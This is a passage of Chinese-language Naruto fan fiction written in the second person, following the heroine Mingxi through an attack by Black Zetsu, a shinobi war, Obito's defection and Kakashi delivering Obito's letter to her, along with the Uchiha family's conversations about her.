哪怕是他的父亲,他也不希望对方说你的坏话,所以他忙不迭地又说:“明希已经……为我们做了很多事情了,在我们看不见的角落里,如果不是她的话,我们今天的生活也不会那么安逸。” 宇智波富岳一头雾水,他还什么都没说呢,只是提到你的名字而已,他的小儿子反应就很过激。 他说:“我根本没有这个意思。” 佐助的心情这才平静下来,然后低声对父亲说了声对不起,好在他的父亲也没有放在心上,只是说:“你见过明希了吗?” 沉默了许久,在很久之后佐助才说:“……见过了。” 然后就没有然后了。 这场对话陷入死局,宇智波富岳在此之前都没有和儿子谈心的经验,所以面对这种情况也有些茫然。 所以这个时候他又该说些什么呢? 最后是佐助叹息一声,说:“父亲,如果没有别的什么要说的话,我该去哥哥那边了,他还有话对我说。” 对方都已经这么说了,那他还能怎么回应呢?他点了点头,说:“嗯,那你走吧。” 宇智波富岳看着自己的小儿子离开庭院,自己过了一会才回到妻子身边,妻子一看他的表情就知道刚才的谈心不怎么顺利,她说:“碰壁了吗?” 宇智波富岳无奈地瞧了她一眼,后者还在笑,对着丈夫招招手,说:“我大概猜到了,这也是没办法的事情,但你能迈出这一步就已经很好了。” 感觉自己好像又被妻子包容了,宇智波富岳说:“别用这种哄小孩的语气和我说话。” 美琴拍拍他的肩膀,说:“果然是明希呀……那两个孩子都很喜欢明希呀。”不光是他们,就连她也很喜欢你,当初在筹备婚礼的前夕她拿出自己的妆奁,任由你翻看里面的首饰,只要你想的话,里面任何首饰她都能毫不犹豫地送给你。 但很可惜你离开了这里,没有一丝一毫的犹豫,似乎只是把这里当成你暂时的落脚点,意识到这一点的她难免会觉得伤心,毕竟自己都已经把你当成了真正的女儿,她还以为你们已经成为了家人,但是,你好像不是那么想的。 “如果是为了明希的话,那倒也不奇怪了。” 宇智波富岳没听懂这其中的弯弯绕绕,他说:“为什么这就不奇怪了?” “因为明希那孩子很讨人喜欢呀,就没有不喜欢她的人,但是呢,她也是有脾气的人,所以估计是无法忍受鼬的性格,所以才走的吧。” 在他们两人谈论这件事的同时,佐助也和哥哥鼬面对面坐下,对方的姿态放松,心情好像很轻盈,佐助一上来就问:“哥哥既然见过了明希,就该知道她不喜欢你对吗?” 把丑话说在前头,这是很好用的一个方法。 宇智波鼬说:“我知道,明希已经和我说过了。” 他都知道了?那为什么、为什么还会那么淡然呢?难道他已经放弃了你么?不不不,他放弃你的可能性微乎其微,那么就只有另外一种可能,那就是他看似云淡风轻,实则心里已经乱了套。 佐助说:“哥哥不会感到难过吗?” “佐助你希望我难过吗?希望看到我痛苦得落泪的样子吗?”宇智波鼬问道。 “当然不——”佐助当即回答道,“我不希望哥哥痛苦。” 他不会,也不愿意看到哥哥痛苦的一面,而相应的代价就是自己陷入纠结犹豫之中,他说:“但是明希……” “佐助你在担心明希啊,但你不用太担心,因为我没有对她做什么,真的要说我这次见到她所做的事情,嗯……大概就是向她忏悔了吧。”宇智波鼬用平淡的语气说着让人感到惊讶的话语。 什么忏悔?忏悔什么? 一时间佐助的脑袋里被这些问题填满,他过了几秒才找回自己的声音,说:“忏悔……哥哥又在对明希忏悔什么呢?” “我以前对她做过的错事,比如说没有事先考虑过她的意见,自作主张。”宇智波鼬一项接着一项地枚举着自己的罪行,如果可以的话他真希望你能惩罚他,但他没有那么好运,你也不会给予他惩罚。 现在光是想想就觉得好可惜。 佐助感觉自己好像到现在才对自己的哥哥有更深刻的了解,是的,他接触到了他的哥哥不为人知的一面,这种感觉让佐助觉得有些陌生。 他的哥哥真的是这么认为的吗?还是只是为了博取你的同情呢?佐助的脑海里忽然冒出这个猜想,也不知道为什么会那么猜测,这已经算是恶意揣测了吧?这样猜测自己的哥哥真的好吗? 佐助调整呼吸,说:“哥哥这样做……明希就会原谅你了吗?” 原意只是想要询问对方你有没有原谅他,但是话一说出口就像是在挑衅,而且还是很明显的挑衅。 不,他绝对没有这个意思,于是他又急急忙忙地补充道:“我,我只是问问而已。” “似乎没有原谅吧,但我也能理解明希,就算她不原谅我也没关系。”轻描淡写地说着自己还没有被你原谅的事实,好像已经接受了这一切,但是真的吗? 真的接受了吗? 佐助用狐疑的眼神看向鼬,后者还在浅笑着,说:“佐助你还有别的什么想要问的吗?刚才在晚餐的时候我的语气不太好,我向你道歉。” “啊……哥哥没必要向我道歉。” “所以佐助是没什么想要问的了?”下一秒鼬就问道,“那么佐助能和我说说上次见到明希的时候你们之间都发生了什么吗?” 反客为主的,不,倒不如说是他从一开始就在盘算着该怎么询问自己的弟弟关于他和你的关系。 佐助的双手收拢,透露出几分紧张的心情,他说:“没什么。”总不可能告诉自己的哥哥他和你共同入眠了吧? “佐助,你还是一如既往地不擅长说谎啊。”鼬说着,轻飘飘的一句话带来十足的压迫感。 有的时候佐助也会感到奇怪,为什么他在面对哥哥的时候还会感知到压迫感呢?明明对方也不会伤害自己,可是,这种感觉就是冒了出来。 佐助说:“这是我和明希之间的事情,我觉得……和别人说有些不适合。” “就算是和哥哥说也一样不适合吗?” 这个……佐助犹豫了一下。 在此之前佐助一直将自己的哥哥当成榜样,当做自己前进的目标,但是,究竟是从什么时候开始的呢?逐渐地和哥哥产生观点上的分歧,甚至会出现争论,这放在以前是 他想都没有想过的事情。 佐助的嘴唇张合,神色纠结,他说:“……这件事情不行,只有这件事情不行。”他的声音从一开始的微弱到最后的坚定。 是的,只有这件事情不行。 佐助抬起头,直视哥哥的双眼,说:“其他事情我都可以听从哥哥的建议。” 宇智波鼬不置可否,漆黑的双眼犹如死寂的潭水,倒映出佐助的面容,也不知道过了多久,佐助听见他的哥哥轻声说道:“佐助你……长大了呀,已经很有主见了。” 一字一顿地,像是在陈述事实,不夹杂任何的个人情感,他究竟是高兴还是生气呢? 看不穿,猜不透,这是佐助的唯一想法。 “哥哥你在生气吗?”他试探性地问道。 没成想宇智波鼬在这时候笑了一下,说:“佐助你怎么会觉得我在生气呢?是我做了什么让你误会的事情吗?”话语间他的唇角微微上扬,是很清浅的笑容,一如往常。 可是,在佐助凝望着他的哥哥的脸庞时他的内心却产生了些许不安。 他的哥哥真的在感到高兴吗?在因为他的成长而感到欣慰吗? “时间不早了,佐助你也该去休息了吧?”宇智波鼬说,就如同一个合格的兄长关心自己的弟弟,催促他早些休息。 心里还在思考别的事情的佐助含糊不清地应了一声,“嗯、嗯……” 但其实在和哥哥说完这些话以后佐助当天晚上都没怎么睡好,是的,哥哥说的话始终在他的脑海里盘旋着,让他辗转反侧怎么也无法入眠。 一直到天边泛起鱼肚白他才在极度的精神疲惫中睡去。 反观你那边,你早睡早起,生活作息要多健康有多健康,甚至还多加了一个晨练,听上去好像还挺正儿八经的,但其实就是绕着别墅的花园散步而已,你在吃过早餐以后就开始散步,等你走得额角冒出一层薄汗的时候差不多就可以停下来休息一会了。 这段时间你一直维持着这样的作息,看得白格外欣慰,说你这样下去身体肯定会更加健康的,他说:“明希你这样肯定能长命百岁的。” 你忍不住笑着说:“那活得时间未免也太长了一点,活到后面也会是一种折磨的哦。” 但白就是希望你能长命百岁,你和他有一搭没一搭地聊着,聊到后面不知道是谁先提起的,大概率是你,你说起了宇智波带土,发现他这阵子都没再出现在你面前,估计是晓组织开始冲刺年底的KPI了吧。 开玩笑的,他不出现的原因有很多,比如说是在执行任务,又比如说是死了,你觉得后者的可能性太小了,因为一看他的身世背景还有经历,就知道他是那种热血漫里标准的美强惨,所以不到最后的关键剧情是很难死掉的。 当然你这么说也不是在咒他早日归西,你只是打个比方而已,再说了,这么好用的工具人直接死掉了你也会觉得很可惜的,希望他能再多存活一段时间,再多给你创造一些商业价值,至于他本身追寻的理想,你压根就没放在心上,爱怎样怎样吧。 也有可能是因为你白天的时候念叨了宇智波带土,以至于你居然在当天晚上的时候真的梦见了他,不过那不是什么美梦,而是个有些混乱的梦境,你在梦里见到了小时候的宇智波带土。 你可以很肯定自己没有见过小时候的他,但你就是梦见了,所以你说这个梦很混乱。 小时候的带土性格算得上是活泼开朗,甚至是天生的乐天派,你盯着这个整天都在傻乐呵的宇智波陷入沉思,所以为什么长大以后会变得那么阴沉呢? 这个梦严重影响了你的睡眠质量,你甚至中途还醒来了好几次,你以前可没有这种情况,这足以证明你的睡眠质量很糟糕,最后一次醒来的时候一看时间已经是凌晨五点了,反正你都已经毫无睡意了,你索性打开床头灯靠着床头开始看书。 一边听歌一边看书,看到一半,你眼角的余光有什么东西一闪而过,你敏锐地捕捉到了这一点,迅速地朝着那个方向看去,只看见一团黑影,黑漆漆的,藏在暗处。 是你睡糊涂了吗?这是你的第一反应,但是你明明已经醒过来了的,你可以确定这一点。 很快地,你瞧见那团黑影动了动,就像是拥有生命一般。 鉴于这个世界都已经存在忍者这种违背物理的存在,就算现在再冒出一个类似毒液的存在你也不会有多惊讶,你的接受能力已经被锻炼得很强大了。 你合起手里的书,那是一本大部头,有你半个手掌那么厚,你慢吞吞地站起身,动作蹑手蹑脚的,就像是打蟑螂的前摇,你在上辈子很擅长打蟑螂,这个技能也跟着遗传到了这辈子。 打蟑螂的秘诀在于快准狠,绝对不能给蟑螂反应过来的机会,现在这个情况和对付蟑螂差不多。 你站了起来,但没有完全站直身体,而是微微俯身,压低自己的重心,做出一副即将攻击的姿态。 下一秒你听见了那团黑漆漆的影子突然发出来的声音,有些尖细的声音,听起来只会让人觉得耳朵不舒服。 “就是你啊……就是你一直在影响我的计划,要是因为你阻拦了我的计划可怎么办呀,宇智波带土只会因为你而变得软弱,所以你必须死——!” 还没等它的话音落下,你直接抄起大部头砸了过去。 叽里咕噜地说什么呢,你只是一味地打蟑螂。 第55章 你攻击的动作快准狠,甚至正中红心,你指的是直接命中那团漆黑人影的脑袋,发出非常响亮的动静,在隔壁房间的白瞬间赶来,来到现场的他最先映入眼帘的是站在床沿的你。 伴随着白的到来,那团黑影也顿时消失不见。 只留下那本书脊都散架的大部头孤零零地躺在那个阴暗的角落里,白说:“偷袭者?” “没有偷袭成功。”而且你还反击成功了,你有些小骄傲地对着白说,“我在它攻击之前就先打了过去。” 白走到那个角落里查看对方留下的痕迹,耳边传来你的话语,你在仔细地描述刚才遇到的那个奇怪的偷袭者,不光是长相奇怪,就连说话的声音还有说话的内容也都很奇怪,你说:“但是它提到了带土,所以应该是认识宇智波带土的吧?” 根据这个线索应该就能顺藤摸瓜地找到更多信息,当然,在此之前你还得要先找到宇智波带土才行,因为这次情况特殊,你总算是主动给宇智波带土写了一封信,言简意赅地说明这次偷袭事件,然后询问他什么时候能见一面。 不同于你的轻描淡写,白就显得担忧多了,毕竟那个偷袭者居然能够悄无声息地来到你的房间,而他居然没有察觉到对方的存在,这实在是……他的失职,白尽可能控制着自己的情绪,哪怕内心已经被自责和愧疚淹没,但他面上看起来仍旧是气定神闲的模样。 他说:“明希你应该没有受伤吧?” 你摇摇头,说:“没有啊。”说着,你又朝他看了一眼,微微眯起眼睛,总觉得他好像有点不对劲,于是你说:“白,你的心情不好吗?” “我……”白不会对你说谎,他叹息一口气,“刚才发生的事情是我的过失,我应该好好保护你才对的。” 你趿拉着拖鞋走到浴室,一边走一边说:“这话说的没错,但是你好像忘了我也是个活生生的人,也是会随机应变的,又不是只会傻愣愣地站在原地任由偷袭者攻击的人。” 你这叫充分发挥主观能动性,不然要是太依赖保镖的话,在这个危险的世界里可是很容易丢了小命的。 话音落下,你的这一番话确实让白的心情有所缓和,也是,他刚才下意识地无视了你自身的力量,而且你的聪明才智也能弥补与敌人的力量差距,白原本微微蹙起的眉毛舒展开来,他轻轻地“嗯”了一声。 你寄给宇智波带土的那封信很快就有了回应,回过来的不是信件,而是他本人,他冷不丁地出现在你的阳台,还好你已经见怪不怪了,就算突然看见他出现也不会被吓到,你只是说:“你手头的任务完成了?我写的那封信你看到了吗?” 宇智波带土说:“我就是因为那封信才来的。” 不同于你的平淡,他就显得激动多了,搞得好像当事人是他才对,你说:“也不用那么激动吧?什么事情都没有发生啊。” “那只是因为你的运气好而已。”宇智波带土的话语里透露出几分焦躁,他应该料到的,作为宇智波斑的意识体,那个黑绝是肯定不会放任他与你过多接触的,现 在对方更是直接将你划分为绊脚石,甚至还想要主动对你动手。 如果不是你反应及时的话,他下次见到的就是你的墓碑了。 不,他不想要这种事情发生,他已经……已经见证过太多人的死亡了,至少你不应该死,你又没有做错什么,你……像你这样纯粹的人就应该好好活着才对。 那些波涛汹涌的,近乎惊涛骇浪的内心活动你一概不知,你所能看到的就是急得团团转的宇智波带土,还有他嘴里含糊不清的碎碎念,因为压低声音而且语速很快,所以你完全听不清他在说什么,你给他倒了一杯水,然后说:“我觉得你可以冷静一下。” 但宇智波带土的表情看上去是无论如何都冷静不下来,你捕捉到了他眼里惴惴不安的情绪,直到此刻你才清楚地意识到一点—— 他好像很害怕你死掉。 啊……那就有点麻烦了,你和他只是普通的情人关系而已诶,对于一个情人你觉得没必要那么上心。 宇智波带土说:“当时……那个东西他都对你做了什么?” “还能做什么呢,无非就是觉得我影响了你,所以想要杀死我,但我觉得,我对于你来说应该还没有重要到足以左右你决定的程度吧?”做人贵在有自知之明,你就是一个很有自知之明的人。 但是宇智波带土在听到你这么说以后反而有些炸毛地反问:“什么叫做‘还没有那么重要’?” 哎不是,这人怎么自顾自地就炸毛了啊?你好像也没说什么吧? 你说:“你没必要那么生气,我说的都是真心话。” 就在你以为宇智波带土要生气的时候,他却忽然降低自己的音量,“我真不知道你是怎么看出来我不在乎你的。” 闷闷的,郁闷的。 “言归正传,不要把话题扯远了。”你把他叫过来不是来吵架的,吵架没有任何意义,只是浪费时间,而你的时间可是很宝贵的。 宇智波带土似乎还想继续这个话题,但是,你都已经主动跳过这个话题了,他只能抿着嘴唇听你接着往下说。 在你听说那个试图偷袭你的东西叫做黑绝而且还是已经死去的宇智波斑的意识体后你就觉得很奇怪。 “宇智波斑的意识体就是这么个奇怪的东西吗?” 以前的宇智波带土也曾经产生过这种疑惑,但是宇智波斑对此深信不疑,他也犯不着直接当着对方的面质疑这一点,但是,宇智波带土也觉得这其中存在蹊跷,他说:“他在担心月之眼计划不能顺利推进。” 拜托,你压根就对这个计划不感兴趣,更不会阻止他们,你的态度一直都是爱怎样怎样吧,反正不关你的事。 你说:“是么,但这也和我无关吧?” 宇智波带土若有所思,他说:“在你看来或许是这样的,但是,在他看来就是另外一回事了。” 唉,你可没想过自己还会被牵扯进这种事情里。 宇智波带土又问:“你现在又在想什么?” “噢,就是稍微有点后悔当初碰你而已。”你直言不讳。 和你聊天就是会让他的心情就跟坐过山车似的,刚才稍微平复的心情现在又急转直下,他说:“所以你这是想要翻脸不认账了?” 话也不能这么说吧,你只是稍微有点后悔而已,人总是会为已经发生的事情而感到后悔,难道他就能保证自己所做的一切都不会后悔吗? “没有。” 宇智波带土来找你的时间已经入夜,这都属于你的加班时间了,因此你也没什么耐心,想的都是如何打发他。 你坐在自己的床沿,揉了揉脸颊,又对他招招手,后者还带着点怨气,但也还算听话地走过来,你说:“算了,你还是先去换一身衣服吧,不,先去把自己洗干净。” 就跟下命令似的,你果然还是不能忍受他穿着披风坐在你的床沿。 “结果你不是还在命令我?刚才厌弃我,现在又要把我当成一条狗来使唤,你倒是善变啊。”宇智波带土控诉着你的不体贴,你点点头,他对你的指责你都接受,毕竟你也知道自己是个怎样的人,耐心地等他说完以后你才站起身伸手拍了拍他的脸颊。 更像是在对待狗了,宇智波带土更加不悦,就差没对你直接龇牙咧嘴了,不过也差不多了吧,在他就要生气的时候,你扯着他的衣领让他低下头,亲吻他的侧脸,而后说:“现在能听话一点了吗?” 事已至此,宇智波带土沉默不语,但身体还是很诚实地去往浴室,你听着浴室里传来的淅淅沥沥声响,心里想的是如果那个叫做黑绝的东西都开始着急月之眼计划的进度了,那么说明这个计划已经进入了关键阶段。 接下来很可能会发生一场战争,而且还不是小范围的战争而是世界范围内的战争。 唯一值得庆幸的是你现在还没有将铁路铺满整个世界,要是已经建立起完整的铁路网,到时候因为战争毁于一旦,就算你心态再好也会有些难以承受的。 好在你之前还很有先见之明地建造了不少防空洞,估计等到战争真正打响的时候就会派上用场了,你思考到一半,浴室里的水声停歇,门咔哒一声被打开,宇智波带土走了出来,带着一阵水雾气,还有沐浴露和洗发水残留的香味,就这样靠到你的身边,挨着你坐下。 你暂时打住自己的思考,难得贴心地用吹风机给他吹头发,他低垂着脑袋,就连眼帘也跟着垂下,纤长浓密的眼睫轻轻颤抖着,他保持安静的时候倒还算讨喜。 宇智波带土沉默不语,因为他的头发短,吹起来很快就把头发都给吹干了。 然后他就顺势靠在你的肩头,似乎是想要钻进你的怀里,与你贴得近一点,再近一点,仿佛这样才能让自己安心下来。 老实说他的头发真的有点刺挠,但你还是耐着性子,拍了拍他的后背,然后问:“要做吗?” “我只是想要拥抱你。” “噢噢,明白的,今天状态不好。”你笑着说。 听出你在调侃,宇智波带土也不生气,他只是……很庆幸自己还能待在你身边,仅此而已。 宇智波带土所说的拥抱真的只是拥抱而已,不掺杂其他含义,就是抱得太紧,你总觉得自己好像被八爪鱼缠上了,在睡梦中都有些呼吸不畅。 半梦半醒之间你缓缓睁开眼睛,隐约看见他似乎一直在盯着你看。 又来了是么,他们宇智波一族的特有习惯,半夜不睡觉一直盯着别人看,你用带着浓重睡意的语调问道:“你看够了没?” 宇智波带土没说话,这一切都像是你的一场梦。 隔天早上醒来的时候身边早已不见宇智波带土的身影,也正是在这天你收到了多方来信,有木叶的,砂忍村的,雾隐村的,总之,这些信件都在告诉你事态紧急,就算是再迟钝的人都该意识到战争一触即发。 你当即通知自己的手下,一旦遇到突发情况就将人群疏散到你事先建造好的防空洞里,至于后面的情况如何,你也无法确定。 在宇智波带土离开的第三天,战争正式打响,没有经历过战争的人可能会认为这是个宏大的概念,实际上并不是的,战争本身是由许多琐碎的捕捉组成的。 在你上辈子因为热.武器的发明导致战争的规模还有伤亡人数都翻了倍,虽说在这个世界热.武器还没有那么普及,但是,光是忍者使用的忍术造成的损害范围就已经很夸张了。 因此战火也很快蔓延到你所在的国家,你很有先见之明地朝着波之国逃亡,中间还遇到了再不斩,他一见面就说自己解决了卡多,你“噢”了一声,见你反应那么平淡,再不斩就问:“你不高兴吗?” 你颇为无语地翻了个白眼,说:“大哥,现在都开始打仗了,你也不看看情况啊。” 对于忍者来说战争就是家常便饭,毕竟他们本身就是作为战争机器而存在的,所以哪怕战火已经烧到了自己跟前,再不斩也表现得很平静,他看着被白抱在怀里的你,说:“我会护送你到波之国的。” “这种话别说得太早。”放在那种俗套的商业片里一旦说出这种话,没过多久就会领便当的啊。 再不斩没再说话了,他接下来的时间都在给你开路,扫清路上的障碍。 你这里说的障碍指的是那些莫名其妙就趁火打劫的人,可能是想趁着天下大乱的时候狠狠捞一笔吧,但没想到自己会为此赔上性命。 在逃命的时候你还不忘通知自己那些雇佣军维持自己产业附近的秩序,毕竟战争会过去的,要是在这场战争中的损失太大你就会觉得肉疼。 包括波之国在内的军事基地就是为了应对这种特殊情况而存在的,现在也算 是派上了用场,哪怕到了波之国你也还在部署自己的军队,大部分军队都用来维持秩序,剩下一小部分则是用来支援前线,你觉得差不多意思一下就行了,也不用掺和太多,你可不想自己手底下的人死太多。 这毕竟是忍界的事情。 回到波之国以后你也完全闲不下来,你每天从早到晚都在查看自己的资产状态,通过这个系统面板你可以推测出目前的战况如何,看起来是不怎么乐观的。 你当初布置在世界各处的情报网也在这时向你传来世界各地的情报,那些情报数量太多,以至于你一个人都看不过来,你不光让白替你分忧,甚至还让再不斩也帮着一块看情报,再不斩说:“那个自称‘宇智波斑’的家伙要改变这个世界。” “我知道啊。”你说,但你不知道的是在战场上的宇智波带土因为产生动摇而临时反水,月之眼计划就此失败,眼看为了复活母亲筹备千年的计划就这么泡汤了,黑绝发出歇斯底里的吼叫,“你这个蠢货!彻头彻尾的蠢货!你所做的一切不过是在逃避现实而已,你会将这份痛苦一直延续下去的!在这个世界里没有人能够获得幸福!” “我并不这么认为,我曾一度认为这个世界无药可救,但是,她的存在提醒了我,世界还没有糟糕透顶。”宇智波带土若有所思地说。 已经被木遁层层叠叠束缚的黑绝大喊道:“得了吧,她不爱你——!你这个蠢货被她给骗了!你就跟条狗一样被玩得团团转!” 宇智波带土没有反驳,他不怎么抵触成为你的狗,他看向黑绝,“像你这种不懂爱的东西又怎么能够理解?” 怒火中烧的黑绝还要再说些什么,但是下一秒木遁就将他的嘴巴都封了起来,他彻底无法发声,只能眼睁睁地看着宇智波带土走向曾经的木叶伙伴。 输了,都输了,这一切的失败都是因为你——! 而此时此刻正在波之国的你有所感应地打了个喷嚏,再不斩说:“你感冒了?” “也有可能是有小人在背后骂我。”你说。 再不斩说:“是么,还会有人那么讨厌你?” 你伸了个懒腰,笑着说:“讨厌我的人多了去了。” 白说:“但是喜欢明希你的人也很多。” 这一点你不否认,事实证明白说的话很正确,宇智波带土在回归木叶以后因为曾经犯下的罪行而被判留村监管,宇智波富岳作为宇智波一族的族长表示会等到宇智波带土真心悔过以后再次接纳。 毕竟也不可能真的不接纳,再怎么说宇智波带土临时反水也避免木叶产生更大的损失,只是他曾经的所作所为让人一时之间难以接受而已。 在这段时间里来看望宇智波带土次数最多的人就是他曾经的伙伴卡卡西了。 卡卡西第一次来的时候宇智波带土的态度不冷不热的,虽然让人挑不出错来,但是,对待曾经的队友,这样的态度未免也太冷淡了一些。 或许他只是还需要一些时间来适应,卡卡西这样对自己说。 后来宇智波带土也总算是向他敞开心扉,姑且算是主动和他说话了,虽然他开口说的第一句话就是:“你能帮我送一封信吗?” 在这个特殊时期,他的一举一动都在被许多双眼睛监视着,他这个时候写的信估计得要经过层层叠叠的审核才能送到对方手上。 但是……这是自己的旧友时隔多年对他提出的第一个请求,他无论如何都不能拒绝,因此他说:“要送给谁?” 宇智波带土顿了顿,“我的爱人。” 卡卡西蹙眉,他的爱人是谁? 很快地,卡卡西的疑惑就得到了解答,在他看到那封信的收件人时卡卡西陷入沉默。 ——明希。 一个很眼熟的名字,他好像听说过,似乎是宇智波族长的养女,曾一度要和族长的大儿子结婚,然后不知道发生了什么这场婚礼不了了之,她也随之消失不见,这甚至被称之为木叶十大年度事件之一。 然后他此刻又在这封信上看见了你的名字,这位风云人物的名字,卡卡西说:“这个名字……看起来有些眼熟呀。” 宇智波带土直言不讳,“她以前在木叶生活过一段时间。” 这下子名字还有经历都能对得上,卡卡西可以确定就是你了。 他说:“你是因为她才选择回头的吗?” “差不多吧。” 他只是觉得有你的现实世界好像也不错,然后就暂时放弃了月之眼的计划而已。 卡卡西心说那你可真是拯救了世界,他向朋友保证自己会把这封信送到你手上的,他说到做到,没过多久就来到了波之国,来到你的别墅门口,但这封信还没当面交给你,他就被再不斩给截下了,后者说:“这不是拷贝忍者旗木卡卡西吗?你怎么出现在这里?” 倒也没必要把他的称号还有大名都一块叫出来,气氛莫名变得局促不安,卡卡西说:“我是来给带土送信的。” “哼,就是那个宇智波带土?”再不斩没好气地说。 “没错,就是那个宇智波带土。” 看再不斩的意思是没打算放他进去,卡卡西又说:“我没有恶意,我真的只是来送信的。” 就在这时,他听见了从门后面传来的声音,你说:“带土写了信?拿来我看看。” 还没等你的话音落下,原本跟座小山似的堵在卡卡西面前的再不斩总算是动了起来,动作干脆利落地从卡卡西手里抽走那封信,然后转交到你手里。 卡卡西还在安静地看着你的侧脸,你在看到这封信后逐渐笑了起来,然后对卡卡西说:“我知道了,信收到了,你也可以走了。” 卡卡西忍不住又问:“所以你真的是带土的……爱人吗?”—— 作者有话说:明希:又是谁在胡说?[问号]《 》 【正文完结】 第56章 闻言,你双手环胸,“旗木卡卡西……我记得你曾经是佐助的带队老师,他和我提起过你,说你是个很称职的老师,只不过没想到原来这么称职的老师也会八卦吗?” 你这话说得一针见血,听得卡卡西都觉得有些不好意思,他斟酌用词,说:“但带土是我的伙伴,我也有义务关心他。” 好吧,又是拿伙伴当做理由,他们木叶忍者还真是重视伙伴啊,你也没有反驳,而是等他说完以后安静地看了他一会,你的注视仿佛拥有某种魔力,让卡卡西感到不自在,在此之前他和你的接触甚少,对于他来说你也只是学生佐助的姐姐,仅此而已。 但刚才三言两语的接触就让他意识到你好像和他想象中的不太一样,你的性格远没有传闻中的那么温柔体贴,甚至可以说是以自我为中心的。 该怎么说呢……意识到你是这样的人也不会让他多奇怪,他顶多就是惊讶个一两秒,然后就很自然而然地接受了这一切。 仿佛这都是理所当然的。 卡卡西因为你的注视垂下眼帘,他的声音透过面罩显得闷闷的,他说:“总之……希望你能给我一个确切的答复。” 什么确切的答复啊,鬼知道宇智波带土和他都说了什么 ,你说:“带土只是我的情人而已,如果你觉得情人和爱人是可以画等号的话,那么就算是爱人吧。” 你的态度是明摆着的敷衍,因为你根本就不在乎别人是怎么想的。 是个性格有些恶劣的人啊……卡卡西在心里感叹一句,但是你的恶劣在他人能够接受的范围内,这不是因为你的长相,而是因为你本身带给人的感觉就让别人在不知不觉中就会被你牵着鼻子走,哪怕是卡卡西这样厉害的忍者也不例外。 对于忍者来说被人占据主导权是很可怕的事情,可是,如果对象是你的话,他就觉得没那么可怕了,当然,他不是在低估你,而是,你应该不会杀死他。 虽然性格恶劣,但不至于闹出人命,就是这么简单的道理。 你不知道站在面前的卡卡西脑袋里思考了那么多,你说完这些就转身回到别墅里,他们忍者打一架直接让你的资产缩水了十分之一,别问为什么不发战争财,毕竟这个世界的热.武器在忍者面前还不够看,没有战争财的基础条件。 感觉能够保住自己的一部分资产不受损就已经很好了,所以现在你对那些参加战争的忍者都没什么好脸色,指不定他们其中就有损害你资产的家伙呢。 至于卡卡西,即便他是来送信,你对他的态度也很一般,你才不管现在的宇智波带土是什么状况呢,他要是还活着那以后肯定会找机会来见你的,根本犯不着你操心,所以,你对卡卡西送来的这封信也没怎么上心。 那封信你看完以后就放到了一边,连同宇智波带土这个人也是,被你搁置在一旁,隔了很久都没想起来。 至于在你这里碰壁的卡卡西回到木叶以后将与你见面的事情经过美化以后说给宇智波带土听。 目前已经能够在木叶村内活动的宇智波带土却还是喜欢待在一开始的房间里。 一见到卡卡西来了就问:“她是怎么说的?” “她收到你的信很高兴,还笑了,问我关于你的情况,我说你暂时不能和她见面,她说如果有机会的话会来找你的。”这是卡卡西经过好几层文字修饰还有美化过的说辞。 宇智波带土也不是傻子,至少现在没那么好糊弄,他说:“明希真的对你说了这些?” 糟糕……果然还是被看穿了吗?卡卡西有些头疼地想着接下来该怎么应付对方,说点什么吧。 说一个谎就要用许多个谎言来圆上。 就在卡卡西焦头烂额的时候他忽然听见自己昔日的朋友说:“她见到你还很高兴,这么说来她还对你笑了?卡卡西你和她相谈甚欢吗?你可不要想着利用给她送信的由头趁机接近她啊。” 不是,他都在说什么啊?他不就是去送信的吗?什么叫做趁机接近你啊?你一看就是很不好接近的人啊。 等等,他这是在怀疑自己吗?他的朋友在怀疑自己企图勾引你吗?卡卡西反应过来以后用诧异的眼神看向宇智波带土,说:“你觉得我是那种人吗?” 没成想宇智波带土还很理直气壮地说:“我知道你以前不是,但是,现在你见过明希以后就不好说了。” 卡卡西顿时无奈得哭笑不得,不过这样倒也更像是他记忆里的宇智波带土了,因此他半开玩笑地说:“是吗,那说不定还真的被你给猜中了呢。” 他发誓自己当时想的真的只是开个玩笑活跃气氛而已,结果呢? 结果就是他被扫地出门了,站在门外的卡卡西还在思考自己刚才到底说错了什么,他隔着门对宇智波带土说:“带土你真的很生气吗?但我刚才就是在说笑的。” 屋内的宇智波带土没应声,反倒是让门外的卡卡西更加局促不安了,现在要再推门而入吗?估计又会被赶出来的吧? 那么,看样子只能先行离开了。 从宇智波带土的住所离开的卡卡西还遇到了自己以前的学生佐助和鸣人,鸣人叽叽喳喳地说着什么,佐助听得都有些不耐烦了,最后佐助说:“你说得再多,如果她不愿意见你的话,那也是白搭。” “哼——我总得试试才知道明希愿不愿意肩见我!”鸣人双手环胸。 从鸣人嘴里听到你的名字,卡卡西的内心莫名有些感叹,感觉自己周围的人都在讨论你啊,不过这也是情理之中的事情,毕竟你在战争结束以后就给木叶拨了一笔款,用于战后经济重建,所以提到你也是很正常的。 “我的两位学生都在说些什么呢?”卡卡西笑眯眯地朝他们靠近。 “啊、是卡卡西老师!”鸣人的第一反应是挥手打招呼,第二反应就是:“老师说话怎么越来越像大叔了啊。” 卡卡西有些笑不出来了,他说:“鸣人……这不是重点吧?”勉强地维持着笑意,但要是学生再来一句这样直接的话估计会让卡卡西彻底笑不出来的吧。 佐助在这时纠正道:“鸣人你不该那么说的。” 没错啊没错,果然还是佐助更加贴心一点吗?卡卡西在心里连连点头,但他还没有高兴多久,就听见佐助说:“人在上了年纪以后就会很关心身边的人,就像我父亲那样。” 啊……这个道理听起来确实没错啦,但是,拿他和宇智波族长比较的话是不是差辈了呢? 鸣人噢噢两声,恍然大悟,而后说:“原来是这样啊,我明白了!” “你们还没有告诉我呢,关于你们刚才说的话。”卡卡西把如同脱缰野马般的话题给努力地扯了回来,然后鸣人就说:“我们要去找明希哦,去看看她最近过得怎么样嘛。” 卡卡西若有所思,他说:“你们应该不知道吧,带土是明希的情人哦。”为了避免自己的学生发现真相以后感到难过,卡卡西决定自己做那个公布真相的恶人。 和他预料中截然不同的反应,他的那两个学生表情淡定,佐助还说:“我早有耳闻。” 鸣人表示:“明希那么受欢迎有几个情人也是很正常的吧?” 能够用那么明快的语调说出这种话才不正常吧? 他的学生好像在他看不见的角落里长成了让他感到陌生的性格,他说:“这个……” “啊呀,卡卡西老师你就别这个那个的了,我们知道自己在做什么的。”鸣人对着卡卡西点了点头,然后和佐助一同离开村子。 卡卡西看着他们离去的背影,一头雾水都不足以形容他现在的状态。 * 而另外一边的你呢,战后重建工作让你这些天的生活都变得格外充实,以至于在迪达拉和蝎找上门来的时候你还让他们先等一会,你说:“我现在手头还有一些工作需要处理,嗯……你们就先在旁边等一会吧。” 